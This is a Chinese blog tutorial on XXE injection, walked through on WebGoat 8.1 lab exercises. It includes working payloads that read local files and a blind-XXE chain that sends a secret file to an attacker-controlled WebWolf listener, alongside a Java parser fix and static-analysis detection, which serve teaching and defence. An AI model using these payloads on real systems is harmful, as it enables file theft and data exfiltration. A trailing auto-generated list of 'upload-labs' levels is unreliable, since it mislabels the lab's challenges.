第二讲 外部实体注入

XML外部实体注入漏洞,也称为XXE漏洞( XML External Entities (XXE) )。XML作为一种使用较为广泛的数据传输格式,很多应用程序都包含有处理XML数据的代码。默认情况下,许多过时的或配置不当的XML处理程序都会对外部实体进行引用。

如果攻击者可以上传XML文档或者在XML文档中添加恶意内容,通过易受攻击的代码、依赖项或集成,就能够攻击包含缺陷的XML处理程序。XXE漏洞的出现和开发语言无关,只要是应用程序中对XML数据做了解析,而这些数据又受用户控制,那么应用程序都可能受到XXE攻击。

既然XML可以从外部读取DTD文件,如果将路径换成另一个文件的路径,那么服务器在解析这个XML的时候就会把那个文件的内容赋值给SYSTEM前面的根元素中,只要把XML中前面的根元素内容显示出来,就可以读取文件内容,这就造成了一个任意文件读取的漏洞。

服务器解析XML有两种方式:

1. 一种是一次性将整个XML加载进内存中,进行解析;

2. 另一种是一部分一部分的“流式”地加载、解析。如果我们递归地调用XML定义,每次调用巨量的定义,那么服务器的内存就会被消耗完,造成了拒绝服务攻击。

一个外部实体声明

语法:<!ENTITY 实体名称 SYSTEM "URI/URL">或者<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

例子

DTD:<!ENTITY writer SYSTEM "http://example.com/dtd/writer.dtd">

XML:<author>&writer;</author>

外部实体类型包括:

如果要引用一个外部资源,可以借助各种协议。举几个例子:

php://filter/read=convert.base64-encode/resource=conf.php

file:///etc/passwd

http://url/file.ext

XXE漏洞可能会用于提取数据、执行远程服务器请求、扫描内部系统、执行命令和拒绝服务攻击等。业务影响主要取决于受影响的引用程序和数据保护需求。

演示案例:XML External Entities (XXE)  A4,这是webgoat 8.1 安全漏洞靶场中的一个安全漏洞。

目的:向照片添加评论,在提交表单时尝试使用评论字段执行XXE注入,尝试列出文件系统的根目录。

漏洞利用POC:

第1步:打开火狐浏览器web开发者工具,在评论输入框随便输入任何内容,点击【Submit】按钮,进行抓包

第2步:点开左侧文件列中simple这个POST,右键选择【编辑并重发】,滑动滚动条到最下面。

第3步:复制下面内容粘贴替换图中红框的请求主体内容,注意不要有空行。

<?xml version="1.0"?>

<!DOCTYPE wukong [

<!ELEMENT name ANY>

<!ENTITY wukong SYSTEM "file:///C:/">

]>

<comment>  <text>&wukong;</text></comment>

第4步:滑动滚动条至最上方,点击【发送】按钮

第5步:刷新火狐浏览器页面,可以看到评论区中列出C:/tools/Benchmark-1.2beta目录下所有内容。

看响应输出:

使用自动化检测工具检测如下图:

选择CWE611,进行检测,可以检测出XML外部实体引用的不恰当限制漏洞

源代码分析,文件位置:

E:\share\WebGoat-8.1.0\webgoat-lessons\xxe\src\main\java\org\owasp\webgoat\xxe\SimpleXXE.java

在(Comments.java)文件第(90)行调用[createXMLStreamReader]方法解析XML数据,解析来自外部的XML数据容易发生外部实体XXE攻击。

参考下面的设置,修改代码

修改Comments.java

protected Comment parseXml(String xml) throws JAXBException, XMLStreamException {

        var jc = JAXBContext.newInstance(Comment.class);

        var xif = XMLInputFactory.newInstance();

        xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

        xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);

        var xsr = xif.createXMLStreamReader(new StringReader(xml));

        var unmarshaller = jc.createUnmarshaller();

        return (Comment) unmarshaller.unmarshal(xsr);

    }

使用自动化检测工具检测,不再报出XXE

编译:mvn clean install -Dmaven.test.skip=true

打包XXE文件夹:

D:\webgoat\WebGoat-8.1.0\webgoat-lessons\xxe\target\classes\org\owasp\webgoat

选择CWE611检测器,进行检测

WebGoat项目 (A4) XML External Entities (XXE) 第7小节  分析如下

第7小节和第4小节题目类似,不过此题目采用的传输数据包是json格式。

1、请求头中content-type改成application/xml

2、尝试执行与第一次赋值中相同的XML注入

使用自动化检测工具,进行检测,给出如下截图:

使用编译后的工程,启动:mvn –pl webgoat-server spring-boot:run

访问:http://127.0.0.1:8080/WebGoat  ,再次输入

<?xml version="1.0"?>

<!DOCTYPE wukong [

<!ELEMENT name ANY>

<!ENTITY wukong SYSTEM "file:///C:/">

]>

<comment>  <text>&wukong;</text></comment>

执行,输出没有再列出硬盘内容

另一个案例,(A4) XML External Entities (XXE)  第11小节

题目要求:webgoat有一个XXE漏洞,同时webgoat服务器上有个密码文件,通过XXE把这个密码文件读取,并且发送到我们自己的恶意站点webwolf,webwolf接受到这个请求就顺理成章获取了密码文件里面的密码。

启动WebWolf:java -jar webwolf-8.1.0.jar [--server.port=9090] [--server.address=localhost]

页面访问WebWolf:http://127.0.0.1:9090/WebWolf

第一步:在WebWolf上传外部XML文件m0re.dtd。m0re.dtd文件内容:

<!ENTITY % payload  "<!ENTITY m0re SYSTEM 'http://127.0.0.1:8081/landing?text=%file;'>">

第二步:在WebGoat页面的评论框中输入任何内容,点击Submit然后抓包修改,请求利用这个外部XML。粘贴下面文本框中的内容替换请求主体,然后点击发送。

<?xml version="1.0"?>

<!DOCTYPE root [

<!ENTITY % file SYSTEM "file:///C:/Users/IBM/.webgoat-8.1.0/XXE/secret.txt">

<!ENTITY % zxcv SYSTEM "http://127.0.0.1:9090/files/manok1/m0re.dtd">

%zxcv;

%payload;

]>

<comment>  <text>&m0re;</text></comment>

第三步:blind XXE没有回显,所以需要在WebWolf中查找,清晰地看到WebWolf多了请求。

第四步:显示的内容需要进行URL解码后提交评论,看到页面出现Congratulations的提示,表示成功完成当前任务。http://tool.chinaz.com/tools/urlencode.aspx

通过Fortify,查看检测结果。(检测WebGoat整个项目)

Comments.java:90 中配置的XML解析器无法预防和限制外部实体进行解析。这会使解析器暴露在XML External Entities攻击之下。

文件位置:

 E:\share\WebGoat-8.1.0\webgoat-lessons\xxe\src\main\java\org\owasp\webgoat\xxe\SimpleXXE.java

在(Comments.java)文件第(90)行调用[createXMLStreamReader]方法解析XML数据,解析来自外部的XML数据容易发生外部实体XXE攻击。

(结束)

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
你好!要通关 upload-labs 靶场的第 1-21 关,你需要依次完成每个关卡的任务。以下是通关每个关卡的一些提示: 1. Level 1 - 文件上传漏洞:尝试上传一个恶意文件,看看能否绕过上传限制。 2. Level 2 - 文件包含漏洞:尝试利用文件包含漏洞,读取服务器上的敏感文件。 3. Level 3 - XXE漏洞:在上传的 XML 文件中尝试触发外部实体注入。 4. Level 4 - SQL注入漏洞:利用输入点进行 SQL 注入攻击,尝试获取数据库中的敏感信息。 5. Level 5 - SSRF漏洞:尝试利用服务器端请求伪造漏洞,发起内部网络请求。 6. Level 6 - 文件上传漏洞2:绕过上传限制,上传一个恶意文件。 7. Level 7 - 文件包含漏洞2:利用文件包含漏洞,读取服务器上的敏感文件。 8. Level 8 - 反序列化漏洞:尝试触发反序列化漏洞,执行恶意代码。 9. Level 9 - 文件上传漏洞3:绕过上传限制,上传一个恶意文件。 10. Level 10 - 文件包含漏洞3:利用文件包含漏洞,读取服务器上的敏感文件。 11. Level 11 - XXE漏洞2:在上传的 XML 文件中触发外部实体注入。 12. Level 12 - SSRF漏洞2:尝试利用服务器端请求伪造漏洞,发起内部网络请求。 13. Level 13 - 文件上传漏洞4:绕过上传限制,上传一个恶意文件。 14. Level 14 - 文件包含漏洞4:利用文件包含漏洞,读取服务器上的敏感文件。 15. Level 15 - SQL注入漏洞2:利用输入点进行 SQL 注入攻击,尝试获取数据库中的敏感信息。 16. Level 16 - 文件上传漏洞5:绕过上传限制,上传一个恶意文件。 17. Level 17 - 文件包含漏洞5:利用文件包含漏洞,读取服务器上的敏感文件。 18. Level 18 - 反序列化漏洞2:尝试触发反序列化漏洞,执行恶意代码。 19. Level 19 - 文件上传漏洞6:绕过上传限制,上传一个恶意文件。 20. Level 20 - 文件包含漏洞6:利用文件包含漏洞,读取服务器上的敏感文件。 21. Level 21 - XXE漏洞3:在上传的 XML 文件中触发外部实体注入。 请注意,在完成每个关卡时,要仔细阅读相关提示和代码,理解漏洞的原理,并尝试不同的方法来解决问题。祝你顺利通关!

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

manok

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值